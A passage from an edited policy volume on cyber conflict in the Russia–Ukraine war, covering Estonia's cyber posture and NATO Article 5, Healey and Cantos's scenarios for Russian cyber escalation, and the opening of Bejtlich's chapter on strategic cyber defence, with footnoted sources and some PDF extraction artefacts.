Today, Estonia is considered to be a world leader in all things digital, including cyber security.10 Estonias current Cyber Strategy notes that the environment is growing more dangerous: The amount and activeness of states capable of cyber-attacks are increasing.11 Estonia has been subjected to pressure from Moscow for years, but Russian cyber espionage in Estonias government and commercial affairs is also getting worse.
Therefore, when tensions began to rise in Ukraine, Estonia was one of the first nations to sound the alarm.
In late 2014, Estonias Prime Minister Taavi Ri- vas declared that [w]e, in Estonia, fully understand that challenges may arise from other directions, including in the cyber domain.12 Russians annexation of Crimea has raised fears in the Baltic states that they could be the next victims of Russian aggression.
In all three countries, there are many people alive today who personally witnessed Russian tactics similar to those now on display in Ukraine.
Both Latvia and Estonia have large Russian-speaking minorities living within their borders.
Estonia is different from Finland in one key regard  its NATO membership.
Estonias President Toomas Hendrik Ilves is an active figure in NATO security and policy circles, particularly those that relate to cyber: Shutting down a country with a cyberattack would be very difficult but not impossible.
If you did that, why wouldnt that be a case for Article 5 action?
Article 5 of the NATO Charter states that any attack on one member of the Alliance can be viewed as an attack on all.
At the NATO Wales Summit in 2014, in part due to Ilvess tireless work, NATO minis- ters ratified a policy stating that not only conventional and nuclear attacks, but also cyber attacks, may lead to an invocation of Article 5.13,14 In the past, a NATO ally under cyber attack could convene a group to consult on the attack, but not call on allies to respond in any way.
With cyber attacks now falling under Article 5, NATO members now have the option of doing so.
This is a major shift in policy, given that cyber warfare is still largely shrouded in mystery and secrecy.
National cyber capabilities tend to be highly classified.
Therefore, despite differing capabilities, viewpoints, and thresholds (after all, what Estonia might consider to be an intolerable assault on its sovereignty might not be seen the same way in Brussels or Washington) this was a significant event in that a public announcement that NATO might respond to a cyber attack as it would to a kinetic or traditional attack has tangi- ble value in the realm of international military deterrence.
During the conflict in Ukraine, DDoS attacks against Estonia have been sur- prisingly few.
In fact, despite expectations, the past year has been unusually calm 10 According to the global cyber security index of the International Telecommunication Union (ITU), Estonia is ranked fifth in the world in the field, and according to the recently published Business Software Alliance (BSA) report, Estonia, Austria and Netherlands are the most cyber-secure countries in Europe.
11 Ministry of Economic Affairs and Communications, Cyber Security Strategy 2014-2017, 2014, 5.
12 Ashish Kumar Sen. Estonias Prime Minister: NATO Presence Key to Counter Russias Provocations, Atlantic Council, De- cember 11, 2014.
13 NATO, Wales Summit Declaration, September 5, 2014.
http://www.nato.int/cps/en/natohq/official_texts_112964.htm.
14 E.g.
Roger Boyes.
NATO must respond to Russian cyber assault, The Times, April 3, 2015.
150 compared to the previous year.15 In 2013, the level was much higher: for example, the websites of the Ministry of Defence and the Estonian Defence Forces were both hit by DDoS, for which responsibility was claimed by Anonymous Ukraine.16 Also in 2013, the website of Estonian railway company Elron (which happens to be the most popular Google search term in Estonia) was defaced with messages claiming that passenger train traffic had been halted as a result of a NATO military exercise.17 Earlier the same day, the website of the NATO Cooperative Cyber Defence Centre of Excellence (NATO CCD COE) came under DDoS attack (Anonymous Ukraine again claimed responsibility).
At NATO Headquarters in Belgium, several websites have been targeted during the Ukraine war, as well as NATOs unclassified e-mail system.
NATO officials have described these attacks as serious assaults, but also said that they did not pose any risk to NATOs classified networks.18 The hacker group Cyber Berkut said the attacks were carried out by patriotic Ukrainians angry over NATO interference in their country, and also stated that NATO CCD COE experts had been in Ukraine training cyber terrorists.
Although attribution of cyber attacks to specific actors and nations is difficult, technical anal- ysis of the Cyber Berkuts domains as well as the nature of its propaganda strongly suggest ties to Russia.19 Since the beginning of 2014, however, Estonian cyberspace has been unusually calm.
Like Finland, Estonia has seen espionage, pro-Russia trolling on Estonian web forums, and propaganda, but little in the way of malware or computer exploits.
Estonians feel that the hostile information flow from Russia is aimed at creating and widening rifts between native Estonians and ethnic Russians (Moscow does not see normal relations as beneficial to its current foreign policy).
For example, on 4 March 2015, the television channel Rossiya-1 (a key source of information for many ethnic Russians in the Baltic region) aired a satirical anti-Nazi video that was said to be proof  of Estonias support for Nazism.20 In response, Estonia will cre- ate its own Russian-language TV channel, to be launched in September 2015 by a state-financed public broadcaster, that will seek to empower the local ethnic Russian identity.21 A NATO member only since 2004, Estonia today occupies a highly visible position within the Alliance.
Thus, the hybrid military campaign that Russia has launched in Crimea and in eastern Ukraine almost forces NATO to take proactive steps to guard against the use of such tactics in the Baltic states, if not to rethink some of its defence strategies altogether.
As Estonias Defence Minister Sven Mik- ser stated, We have reason to believe that Russia views the Baltic region as one 15 Private conversations with Estonian officials.
16 CERT-EE kokkuvte, Hajusad ummistusrnded, vltsitud saatjaga e-kirjad ning notustamised 1.-7.
Novembril 2013, aka OpIndependence, https://www.ria.ee/public/CERT/opindependence.pdf.
17 E.g.
Ronald Liive.
Vide Regnumilt: NATO suurppuse kigus rnnati ekslikult ehtsaid veebilehti, Forte, November 13, 2013.
18 NATO websites hit in cyber attack linked to Crimea tension, Reuters, March 16, 2014.
19 Rodrigo, Cyber Berkut Graduates from DDoS Stunts to Purveyor of Cyber Attack Tools, Cyber Threat Intelligence, June 8, 2015.
https://www.recordedfuture.com/cyber-berkut-analysis/.
20 Ott Ummelas.
Estonia Must Counter Hostile Russian Propaganda, Bloomberg Business, March 25, 2015.
21 Silver Tambur.
EERs new Russian-language TV channel will be called ETV, April 20, 2015.
of NATOs most vulnerable areas, a place where NATOs resolve and commitment could be tested.22 Today, cyber security is increasingly seen as playing a vital role in national secu- rity affairs, both in and out of NATO.
For its part, Estonia is already sharing its cyber security experience and expertise with Ukraine, including the organisation of large cyber security drills.
And finally, Estonia has one major advantage on its side: it is home to the NATO CCD COE, whose symbolic importance to Estonia has grown rapidly.
4 Conclusion: David vs. Goliath in Cyberspace Finland and Estonia both rank among the worlds most connected and cyber secu- rity-savvy countries.23 In both nations, there is a high degree of dependence on the internet, as well as a deep appreciation for the strategic nature of modern networks and the need to secure them.
Therefore, both Finland and Estonia are at the fore- front of the nations creating cyber norms in the world.24 The need to prepare defences against modern hybrid warfare forces govern- ments, including those of Finland and Estonia, to take steps sooner rather than later.
There will be conflicts in which the regular armed forces of a foreign state are not the most active participants.
Some of the attacks may occur entirely in cyber- space, and the attackers might even remain anonymous.
In the internet era, a wide range of national laws must be re-examined and contingencies rehearsed, so that decision-makers have the best possible tools to respond to the challenges of hybrid warfare in the future.
Russia is far larger and more populous than both Finland and Estonia, but tra- ditional notions of size  especially in the globalised internet era  is not the only determining factor on the cyber battlefield.
Smaller countries such as Finland and Estonia, with a strong heritage of technical capability and experience, may possess some advantages that not even great powers could dream of.
In the near term, Fin- land will continue to strengthen its defences independently, while Estonia will continue to emphasise NATOs Article 5.
In the long term, Finland and Estonia will continue to punch above their weight in the cyber domain especially relative to their size.
22 Geoff Dyer.
NATO shifts strategy in Europe to deal with Russia threat, Financial Times, June 23, 2015.
23 Global Cybersecurity Index and Cyberwellness Profiles.
International Telecommunications Union, April 2015 http://www.itu.
int/dms_pub/itu-d/opb/str/D-STR-SECU-2015-PDF-E.pdf.
24 See e.g.
Jarno Limnll.
Can Finland Act As a Mediator on Cyber Norms?
Council on Foreign Relations, May 28, 2015, http:// blogs.cfr.org/cyber/2015/05/28/can-finland-act-as-a-mediator-on-cyber-norms/.
Smaller countries with a strong heritage of technical capability and experience may possess some advantages that not even great powers could dream of.
153 Whats Next for Putin in Ukraine: Cyber Escalation?
Jason Healey Michelle Cantos Columbia University 1 Introduction We may be facing the internets most dangerous moment.
From the earliest days of cyber intelligence, a rule of thumb was that those with the capability to cause significant cyber disruption lack the intent those with the intent lack the capability.1 Some governments, including the United States, Russia, and China, have always had the capability, but have lacked the motivation to bring down the internet.
However, times change, and Vladimir Putin, now facing strong sanctions and a weak rouble, could choose to retaliate against the West in the form of little green bytes.
US and European economies may, in fact, be natural targets, carrying the implicit message: if you seriously affect Russias finan- cial health, you too will feel the pain.
1 Matthew Devost.
Risk of cyber terrorism raised at seminar, Massey University News, September 12, 2002, http://www.massey.
ac.nz/wwpubafs/2002/news_release/13_09_02a.html.
Chapter 17 We may be facing the internets most dangerous moment.
http://www.massey.ac.nz/wwpubafs/2002/news_release/13_09_02a.html http://www.massey.ac.nz/wwpubafs/2002/news_release/13_09_02a.html 154 Conflict in cyberspace offers adversaries many possibilities and Putin has numerous options.
In the near term, there are four obvious scenarios: local instabil- ity, intimidation, frozen cyber conflict, and coercion.
The first option, local instability, would exclusively target Ukraine, causing cyber disruption in the hope of keeping the country prostrate while trying to avoid escala- tion with the West and a tightening of sanctions.
In the second option, intimidation, Putin would use cyber capabilities against the West to mirror his existing recipe of strategic threats, military exercises, submarine deployments, nuclear threats and nuclear-capable bomber flights.
A further escalation here could be a third option a frozen cyber conflict, where techniques of hybrid warfare are used to try for medium-term disruption to the internet itself.
The fourth option, coercion, would go beyond local disruption and provocations and would attempt to use cyber force to disrupt Western economic and military targets.
This last scenario is the most dangerous of all, potentially signifying a calculation by Putin that Russia has little remaining stake in the global economic game.
In that case, why not upend the table and ruin the party for everyone?
2 Local Instability: Frozen Conflict with a Topping of Cyber In the least aggressive scenario, Putin would escalate only within Ukraine in an attempt to further destabilise and delegitimise the existing government.
The little green bytes might deny service to Ukrainian government and media sites, or even target critical infrastructure.
As in other post-Soviet frozen conflicts, the goal is not necessarily to prevail, but rather to keep Ukraine destabilised for years and unable to pose any challenge.
As noted elsewhere in this book, the Russians, due to their legacy from the Mos- cow-dominated Soviet Union, have an extensive knowledge of Ukrainian systems.
Most of Ukraines infrastructure is well understood  if not designed by  Russian enterprises, so exploiting them for cyber attack would be far easier than for a typical cyber campaign elsewhere.
There may also be a sufficient number of insiders who are friendly to Russia, and who could either be bribed or blackmailed into leak- ing sensitive government materials, disseminating propaganda, installing malicious software, or even physically destroying key systems.
Russia has shown some of its digital arsenal.
Cyber espionage campaigns such as Sandworm have played a role in intelligence collection operations against the Ukrainian government and some NATO nations, even taking advantage of multiple zero-day exploits.2 The local instability cyber option could allow Putin to maintain pressure on Ukraine while avoiding an increase in tensions with the West.
He might even be 2 iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, iSight, October 14, 2014, http://www.isightpartners.com/2014/10/cve-2014-4114/.
http://www.isightpartners.com/2014/10/cve-2014-4114/ 155 able to accomplish this while claiming to be de-escalating the conflict.
Russia, in this scenario, would only launch disruptive cyber attacks within Ukraine, not against other targets in the West, and attempting to limit the upper bound of escalation.
The international community might be happy, however, to countenance a cyber war in Ukraine if it caused little tangible damage to other countries, limited the body count, and generated fewer disturbing media images.
3 Intimidation: Cyber Provocations and Escalation A second option for Putin is to send a digital warning shot across the Wests cyber bow, in effect saying that Russia has additional cards up its sleeve and may play them if nec- essary.
Russia is already escalating all sorts of military operations against the West, from massive exercises and military flights to nuclear threats.
Little green bytes could there- fore be just one additional form of provocation to add instability on the world stage.
Such attacks would be just-deniable-enough and might target defence and mili- tary systems and networks.
Russia could target allies with weaker defences, or gov- ernments which Putin might calculate as being easier political prey, and more sus- ceptible to Russian coercion.
This cyber escalation would simply be a natural extension of Putins provoca- tive behaviour in other military forces.
In the last fifteen months, Russia has appar- ently sneaked submarines into Swedish and Finnish territorial waters, stating that Finlands growing ties with NATO were a special concern3 flown jet fighters and nuclear-capable bombers along the periphery of Europe and buzzed NATO ships including the US guided-missile destroyer USS Ross as it sailed in international waters off the Russian-occupied Crimean peninsula.4 Apart from drilling his conventional forces, Putin in the spring of 2014 organ- ised large-scale exercises designed to assess the preparedness level of his nuclear forces.5 In the context of Russias nuclear threats against Denmark, these appear to be calculated (if clumsy) efforts to intimidate the West.6 The Russian cyber assault on Estonia in 2007 was a blueprint for a geopolitically inspired and just-deni- able-enough digital disruption.
When 3 Finnish military fires depth charges at suspected submarine, Reuters, April 28, 2015, http://www.reuters.com/arti- cle/2015/04/28/us-finland-navy-idUSKBN0NJ0Y120150428.
4 Barbara Starr.
Russian planes, U.S. warship have close encounter near Crimea, CNN, June 1, 2015, http://www.cnn.
com/2015/06/01/politics/russia-plane-navy-uss-ross/.
5 Bill Gertz.
Russia Conducts Large-Scale Nuclear Attack Exercise, Washington Free Beacon, May 8, 2014, http://freebeacon.
com/national-security/russia-conducts-large-scale-nuclear-attack-exercise/.
6 Adam Withnall.
Russia threatens Denmark with nuclear weapons if it tries to join NATO defence shield, The Independent, March 22, 2015, http://www.independent.co.uk/news/world/europe/russia-threatens-denmark-with-nuclear-weapons-if-it- tries-to-join-nato-defence-shield-10125529.html.
Estonia in 2007 was a blueprint for a geopolitically inspired and just-deniable-enough digital disruption.
http://www.reuters.com/article/2015/04/28/us-finland-navy-idUSKBN0NJ0Y120150428 http://www.reuters.com/article/2015/04/28/us-finland-navy-idUSKBN0NJ0Y120150428 http://www.cnn.com/2015/06/01/politics/russia-plane-navy-uss-ross/ http://www.cnn.com/2015/06/01/politics/russia-plane-navy-uss-ross/ http://freebeacon.com/national-security/russia-conducts-large-scale-nuclear-attack-exercise/ http://freebeacon.com/national-security/russia-conducts-large-scale-nuclear-attack-exercise/ http://www.independent.co.uk/news/world/europe/russia-threatens-denmark-with-nuclear-weapons-if-it-tries-to-join-nato-defence-shield-10125529.html http://www.independent.co.uk/news/world/europe/russia-threatens-denmark-with-nuclear-weapons-if-it-tries-to-join-nato-defence-shield-10125529.html 156 the Estonian government decided to move a Soviet war memorial from the centre of its capital Tallinn to a military cemetery on the outskirts of town, Russia responded by encouraging patriotic hackers to engage in a three week long Distributed Deni- al-Of-Service (DDoS) attack against numerous sectors of the Estonian economy including the government, media, and financial institutions.7 This template relies on a combination of threats, cyber capabilities, the use of proxies, and plausible deniability.
Russia might alternately hold off on such disruptive attacks in favour of increas- ingly aggressive espionage.
In fact, it seems an escalation in such intrusions is already underway.
Russian state-sponsored hackers are believed to have recently compromised the US Department of State, then used that access to penetrate the unclassified network of the Executive Office of the President.8,9 Unlike during previous intrusions linked to Russia, on this occasion the digital spies did not back out of the system once they were discovered, but fought back in order to maintain their foothold in the net- work.10 Investigators also believe that Russian spies were behind the recent intrusion into the unclassified email of the Joint Chiefs of Staff, an intrusion which forced the Pentagon to take the system down for several days.11 4 Freezing the Conflict in Cyberspace Rather than, or in addition to, using cyber to help destabilise the Ukraine, Putin might try to make the internet itself a new zone of frozen conflict.
This option is perhaps not as likely as the others, but might offer Putin an intriguing possibility: inflict on the internet, which delivers harmful content in the form of unwanted truths to Russian citizens, just enough long-term disruption so that it is less useful, less trusted, and less an enabler to Western economies and societies.
In this option, Putins forces would use cyber capabilities to periodically disrupt core internet infrastructure such as the domain name system, or frequently take down Western information providers.
Each new week could see a large-scale deni- al-of-service attack.
This option differs from the previous intimidation option in two ways.
First, the attacks would be far more disruptive than mere shows of force.
Compared to 7 Ian Traynor.
Russia accused of unleashing cyberwar to disable Estonia, The Guardian, May 16, 2007, http://www.theguardian.
com/world/2007/may/17/topstories3.russia.
8 Evan Perez and Shimon Prokupecz.
Sources: State Dept.
hack the worst ever, CNN, March 10, 2015, http://www.cnn.
com/2015/03/10/politics/state-department-hack-worst-ever/index.html.
9 Ellen Nakashima.
Hackers breach some White House computers, The Washington Post, October 28, 2014, http://www.wash- ingtonpost.com/world/national-security/hackers-breach-some-white-house-computers/2014/10/28/2ddf2fa0-5ef7-11e4- 91f7-5d89b5e8c251_story.html.
10 Michael S. Schmidt and David E. Sanger.
Russian Hackers Read Obamas Unclassified Emails, Officials Say, New York Times, April 25, 2015, http://www.nytimes.com/2015/04/26/us/russian-hackers-read-obamas-unclassified-emails-officials-say.html 11 Nancy A. Youssef.
Russians Hacked Joint Chiefs of Staff, The Daily Beast, August 6, 2015, http://www.thedailybeast.com/ cheats/2015/08/06/russians-hacked-joint-chiefs-of-staff.html.
http://www.theguardian.com/world/2007/may/17/topstories3.russia http://www.theguardian.com/world/2007/may/17/topstories3.russia http://www.cnn.com/2015/03/10/politics/state-department-hack-worst-ever/index.html http://www.cnn.com/2015/03/10/politics/state-department-hack-worst-ever/index.html http://www.washingtonpost.com/world/national-security/hackers-breach-some-white-house-computers/2014/10/28/2ddf2fa0-5ef7-11e4-91f7-5d89b5e8c251_story.html http://www.washingtonpost.com/world/national-security/hackers-breach-some-white-house-computers/2014/10/28/2ddf2fa0-5ef7-11e4-91f7-5d89b5e8c251_story.html http://www.washingtonpost.com/world/national-security/hackers-breach-some-white-house-computers/2014/10/28/2ddf2fa0-5ef7-11e4-91f7-5d89b5e8c251_story.html 157 the intimidation option where Russia threatens force to avoid a conflict, in this fro- zen-conflict option, Putin already accepts Western nations as adversaries.
The goal is therefore not to get them to back down, but hopefully to destabilise the internet just enough to deny cyber benefits to his perceived enemies.
5 Coercion: Escalate to De-escalate The most aggressive option for Putin is to use cyber capabilities to disrupt the economies of the West.
Imagine a massive, long-term and continuing attack against the Wests financial sys- tem or power grids.
What if, Sony-style, one bank a week were to be targeted for a disruptive and embarrassing attack?
Russia in the past had, along with at least the United States and China, the capa- bility to conduct such attacks, but lacked the intent.
Russia had disagreements with the West but was not engaged in any real conflict.
Further, to some extent, Russia needed healthy Western economies to itself thrive.
That situation has changed.
Today, Putin may well see himself in a conflict with the West, perhaps even a shooting war, and feel the very survival of his regime could be at stake.
In 2013, sanctions including asset freezes and export prohibi- tions pushed Russia to the brink of a recession, and the economy grew by only 1.3.12 By the end of 2015, the World Bank predicts that ongoing sanctions cou- pled with the decrease in oil prices will shrink the Russian economy by 3.8.13 Putin could calculate that Russia has few remaining stakes in the global economy and financial system.
Without international economic entanglement, it is far easier for Putin to use Russias impressive cyber capabilities to try to directly coerce (rather than threaten) the West.
By inflicting economic turmoil, he could turn Russias lack of a stake in the global financial system from a liability into an asset.
With nothing to lose and every- thing to gain, Putin might calculate that unleashing his just-deniable-enough little green bytes against Western economies could be a win-win situation for Russia.
Russia is already pushing the idea that they may need to escalate to de-escalate a brewing conflict with the West.
In an extensive article in Vox, Max Fisher lays out the evidence that the world is ever closer to conflict, even a world war, and especially that Putin has enshrined, in Russias official nuclear doctrine, a dangerous idea no Soviet leader ever adopted: that a nuclear war could be winnable.14 12 How far do EU-US sanctions on Russia go?
BBC, September 15, 2014, http://www.bbc.com/news/world-europe-28400218 13 Andrey Ostroukh.
Russias Economic Outlook Worse Than Thought, World Bank Says, The Wall Street Journal, April 1, 2015, http://www.wsj.com/articles/russias-economic-outlook-worse-than-thought-world-bank-says-1427883522.
14 Max Fisher.
How World War III Became Possible, Vox, June 29, 2015, http://www.vox.com/2015/6/29/8845913/russia-war.
What if, Sony-style, one bank a week were targeted for a disrup- tive and embarrassing attack?
http://www.bbc.com/news/world-europe-28400218 http://www.wsj.com/articles/russias-economic-outlook-worse-than-thought-world-bank-says-1427883522 In that light, cyber weapons may offer an even more attractive opportunity given that cyber effects can be temporary and reversible.
Russian Deputy Prime Minister Dmitry Rogozin has already declared that Russian tanks dont need visas to cross international borders.15 If Russia is willing to make nuclear threats and roll T-72s across borders, then how much more likely are attacks using faster, more deniable, electrons?
One obvious target would be Western financial firms that currently enforce the sanctions against Russia.
Many analysts believe that Iran chose precisely this form of retaliation in 2012, in response to Stuxnet.16 Other obvious targets could be the oil, gas, or electricity sectors, in order to raise the price of oil.
During our research for this chapter, several security analysts stated that Russia may be preparing for this contingency with its Havex and BlackEnergy cyber cam- paigns.17 In both cases, Russian government hackers apparently targeted Western energy companies, not for espionage, but in order to prepare for a potential fol- low-on disruptive attack.
It appears Russia has proved that it has the required capa- bilities already in place to disrupt Western energy systems, now it is just a matter of having the intent.
Or Putin could focus his cyber attack not against sectors, but against specific Western allies those he felt would be most likely to submit to coercive pressure.
His whispered promise might be something along the lines of Drop your support for sanctions and all these cyber failures youre experiencing can just go away.
Coun- tries which might not have been fully committed to the sanctions in the first place might not need much convincing.
6 Conclusion Cyberspace  and cyber attacks  offer many ways, especially for a capable nation- state, to target an adversary.
In the current conflict, the most likely near-term options for Russia are perhaps local instability, intimidation and coercion.
Of course, the scenarios discussed in this chapter are not mutually exclusive Putin could jump between them or even employ them all simultaneously.
Fortunately to help analyse Russias cyber current actions, it may be enough to analyse his actions in the physical world: Russian hostility in Europe is likely to be matched with Russian hostility online.
If this process starts to get out of control, then Western leaders have to be at their highest level of concern.
If Putin believes he is approaching a use-it-or-lose-it situation for his autocratic regime and its stolen billions, he may just decide to take the internet down with him.
15 Russian Official: Tanks Dont Need Visas, Defense One/Agence France-Presse, May 25, 2015, http://www.defensenews.com/ story/defense/international/europe/2015/05/25/russian-official-tanks-need-visas/27924351/.
16 Siobhan Gorman and Julian Barnes.
Iran Blamed for Cyberattacks, The Wall Street Journal, October 12, 2012, http://www.wsj.
com/articles/SB10000872396390444657804578052931555576700.
17 Blake Sobczak and Peter Behr.
Secret meetings tackle back-to-back energy-sector cyberthreats, EnergyWire, October 31, 2014, http://www.eenews.net/energywire/stories/1060008193.
http://www.defensenews.com/story/defense/international/europe/2015/05/25/russian-official-tanks-need-visas/27924351/ http://www.defensenews.com/story/defense/international/europe/2015/05/25/russian-official-tanks-need-visas/27924351/ http://www.wsj.com/articles/SB10000872396390444657804578052931555576700 http://www.wsj.com/articles/SB10000872396390444657804578052931555576700 http://www.eenews.net/energywire/stories/1060008193 159 Strategic Defence in Cyberspace: Beyond Tools and Tactics Richard Bejtlich The Brookings Institution 1 Introduction The digitisation of information, which began during the Second World War, has significantly deepened the relationship between human beings (from the individ- ual to the nation-state) and unstructured data, structured information (such as a databases), and intelligence (information of political or military value).
Every part of society has benefited from information technology however, as we have increas- ingly become data-reliant, our adversaries have sought to leverage information against us.
Attackers and defenders now battle for access to, and control of, infor- mation in the political, economic, military, and social spheres.
In military parlance, data has become a virtual high ground from which the better-informed can influ- ence an adversary.
The Ukrainian Government currently finds itself at a tactical disadvantage vis--vis Russia, both on the traditional field of battle as well as in cyberspace.
However, cyber security, especially at the national level, is a strategic game, and Kyiv can make smart investments that will pay off over the long run.
In Ukraine, as in every other nation- state, practitioners, academics, policy-makers, and the public are individually and col- lectively vexed by the question of how to defend data, information, and intelligence.
Part of the problem is that adversaries do not have one or even several attack strategies at their disposal: they can steal, destroy, deny access to, or even alter information  as well as the systems that store, process, and display it to its ostensible owners.
Chapter 18 160 Digitised information is a human product which resides in mechanical devices built by engineers and programmers, and so decision-makers naturally turn to the technical community for answers to these challenges.
Technical proposals take many forms.
Several frequently appear in policy-making circles: we could scrap the internet entirely and replace it with a more secure alternative1 we might build software that is not hackable, possibly through leap ahead technologies that make defence easier than offense (which is today manifestly not the case)2 or we can out- source our security to third-party vendors.3 These are all technical ideas, but they are generally not feasible for a variety of reasons.
More fundamentally, it is danger- ous to rely solely on technology to mitigate core security problems.
2 The Limitations of Technology-driven Approaches Technology plays an important role in defending data.
Thoughtfully designed networks, higher quality software, and agile start-ups can frustrate opportunistic intruders seeking easy prey.
Unfortunately, well-resourced, professional attackers sometimes have long-standing missions to compromise specific high-value targets, whether for information theft or data manipulation.
They will not give up until their mission requirements change or until they succeed in their assignment.
Digital defenders may only get a glimpse of the intruder, and often this comes far too late in the game.
Whereas the victims perspective is usually narrow and incomplete, professional attackers are persistent and know exactly what they are targeting.
According to the Mandiant 2015 M-Trends report, the median number of days in 2014 that a successful threat group was present on a victims network before detection, was 205.
In one case, an adversary had maintained unauthorised access for over 8 years.4 Even after discovery, organisations can spend months trying to remove the intruder.
In February 2015, the Wall Street Journal reported that the US State Department continued to be plagued by foreign hackers fully three months after the agency confirmed reports of an intrusion.5 This relationship between security and time is central to protecting digital 1 Thom Shanker.
Cyberwar Chief Calls for Secure Computer Network, New York Times, 23 September 2010, http://www.ny- times.com/2010/09/24/us/24cyber.html John Markoff.
Do We Need a New Internet?
New York Times, 14 February 2009, http://www.nytimes.com/2009/02/15/weekinreview/15markoff.html.
2 Jim Garamone.
DARPA Director Discusses Cyber Security Challenges, DoD News, 1 October 2014, http://www.defense.gov/ news/newsarticle.aspx?id123307.
3 Over 400 vendors demonstrated their products and services at the RSA Conference in San Francisco, California in April 2015.
RSA Conference 2015 vendors, http://www.rsaconference.com/events/us15/expo-sponsors.
4 The median number for 2013 was 229 days.
FireEye, M-Trends 2015: A View from the Front Lines (Milpitas, CA: FireEye Cor- poration 2015), https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf.
5 Danny Yadron.
Three Months Later, State Department Hasnt Rooted Out Hackers, Wall Street Journal, 19 February 2015, http://www.wsj.com/articles/three-months-later-state-department-hasnt-rooted-out-hackers-1424391453.
A technology-centric world- view obsesses about a static, one-time exchange between attacker and defender.
http://www.nytimes.com/2010/09/24/us/24cyber.html http://www.nytimes.com/2010/09/24/us/24cyber.html http://www.nytimes.com/2009/02/15/weekinreview/15markoff.html http://www.rsaconference.com/events/us15/expo-sponsors https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf 161 resources.
An analysis of time intervals is key to understanding the interaction between attackers and defenders, but in general the security community does not sufficiently understand or appreciate the nature and consequences of this relation- ship.
A technology-centric worldview obsesses about a static, one-time exchange between attacker and defender.
This is not an accurate description of the real world, which is populated, not with mindless code, but with rational and irrational human beings who are both intelligent and adaptive adversaries and who observe their tar- gets, allocate resources, and make dynamic decisions in order to accomplish their goals.6 Digital defenders ignore these facts at their peril.
The interactive and time-de- pendent nature of network attack and defence leads to the promotion of suboptimal approaches to security.
The emphasis on cyber hygiene is illustrative.7 To defeat intruders, this method promotes knowing ones network, removing unauthorised systems, patching vulnerabilities, and improving configurations.
All of these are certainly both requisite and commendable defensive steps.
However, they are insuf- ficient when confronting an attacker who has the time and resources to adapt to and overcome the targets defences.
Washing cyber hands is helpful when minimising the spread of mindless germs, but it is less effective when those germs are as smart as, or better-resourced and motivated than, the hand-washer.
3 Strategic Thought in Cyber Defence To better address the dynamic challenge of continuous interaction between adap- tive, intelligent adversaries, this chapter advocates the application of strategic mili- tary concepts to conflict in cyberspace.
Armed conflict has long been characterised as a struggle between persistent adversaries over time.
However, the advent of mass armies, modern weapons, and nation-state warfare in the late 18th and early 19th centuries took this concept to a higher level.
During the 20th century, military strat- egists therefore had to think beyond the traditional dichotomy of strategy versus tactics.
Over time, they codified multiple levels of warfare.
Beginning in the 1980s, U.S. Army doctrine described three levels of war: strate- gic, operational, and tactical.8 These built on previous writings and lessons learned, from Napoleonic battles to Soviet military planning.
National goals and policy  sit- ting above the strategic level of war  were incorporated into doctrine, although this can be confusing given that the word strategic often appeared in both the models name and one of its primary elements.
6 John R. Boyd.
The Essence of Winning and Losing, unpublished PowerPoint presentation, 1985, http://www.danford.net/ boyd/essence.htm.
7 Jonathan Trull.
Practice Makes Perfect: Making Cyber Hygiene Part of Your Security Program, CSO Magazine, 3 March 2014, http://www.csoonline.com/article/2891689/security0/practice-makes-perfect-making-cyber-hygiene-part-of-your-security- program.html.
8 United States Department of the Army, Field Manual 100-5: Operations (Washington, DC: US Army 1982), http://cgsc.con- tentdm.oclc.org/cdm/compoundobject/collection/p4013coll9/id/48/rec/10.
162 In this chapter, the author argues that decision-makers need to better understand the role of technology in strategic thought, and so it adds a new level below the tacti- cal layer: tools.
Certainly in physical warfare one uses tools to inflict kinetic dam- age.
In the digital world, the model explicitly introduces tools in order to show practitioners where they fit in strategic thinking.
Too many digital security professionals believe tools are the sole focus of defensive action.
By placing tools at the bottom of the model, they appear, in the authors opinion, in their proper place.
Furthermore, in this model, the term campaign is included at the operational level.
Campaigns and operations are sometimes interchanged, so both appear to reduce confusion.
These five levels are depicted in Figure 1-1.
Policies and goals are broad state- ments by organisational leadership that describe the desired purpose of the stra- tegic programme.
Strategies are concepts for employing organisational resources to accomplish the stated policies and goals.
Operations (which in this schema are organised into campaigns) are sets of activities designed to implement strategies that are pursued over days, weeks, months, or even years.
Tactics are actions taken within individual encounters with an adversary, and serve as the atomic elements of a campaign.
Tools are the digital equipment with which an actor implements tactics.
Policies and Goals  Strategies  Operations (including Campaigns)  Tactics  Tools Figure 1-1  Strategic Thought, Adapted for Digital Conflict Too many digital secu- rity professionals believe tools are the sole focus of defensive action.
163 All of these elements must be connected in order to achieve successful outcomes.
Before explaining how these five levels can improve digital defence, it is important to recognise that I am not advocating the militarisation of cyberspace  which is a valid concern of many analysts.
For example, in 2013, Jason Healey wrote in Foreign Affairs that the military had prioritised one national security goal  more spying and attack capabilities  above all others.9 A Forbes journalist defined the prob- lem as giv[ing] a military character to it, equip[ping] [it] with military forces and defences or adapt[ing] [it] for military use,10 This author, while generally disagree- ing with these premises, does not equate strategic thought with militarisation.
The purpose of this chapter on strategic thought is to familiarise defenders with another strategy to protect information, one suited to the timescales and interactive nature of modern computer intrusions.
4 Traditional Security within the Strategic Model Squaring traditional security concepts with the strategic model contributes to a rich discussion of digital defence.
Typically, network defenders concentrate on tools and tactics, which are in turn dominated by the notions of security software, software security, and securing software.
Security software consists of programs written by vendors, open source developers, and individual security teams that are designed to detect, frustrate, and remove adversaries.
Software security refers to the process of writing computer programs that are free from coding, process, and logic flaws, optimally using a process such as the Building Security In Maturity Model (BSIM- M).11 Securing software is a process to enable the cyber hygiene model, whereby defenders take various tactical steps to reduce the likelihood of compromise.
Beyond the security team, one finds multiple layers of management, including a chief security or information security officer (CSO or CISO), one or more chief technology or information officers (CTO or CIO), other members of the so-called C-suite including the chief financial or operating officers (CFO, COO), and ulti- mately the chief executive officer (CEO) and board of directors.
At the nation-state level, some governments have appointed cyber security coordinators reporting to the head of government.
Recent examples include the United States, the United Kingdom, Germany, Russia, Japan, and France.12 In China, President Xi Jinping personally leads the countrys top information security group.13 One would think 9 Jason Healey.
How Emperor Alexander Militarized American Cyberspace, Foreign Policy, 6 November 2013, http://foreign- policy.com/2013/11/06/how-emperor-alexander-militarized-american-cyberspace/.
10 Sean Lawson.
Is the United States Militarizing Cyberspace?
Forbes, 2 November 2012, http://www.forbes.com/sites/seanlaw- son/2012/11/02/is-the-united-states-militarizing-cyberspace/.
11 BSIMM, https://www.bsimm.com/.
12 French Ministry of Foreign Affairs and International Development, France and cyber security, http://www.diplomatie.gouv.
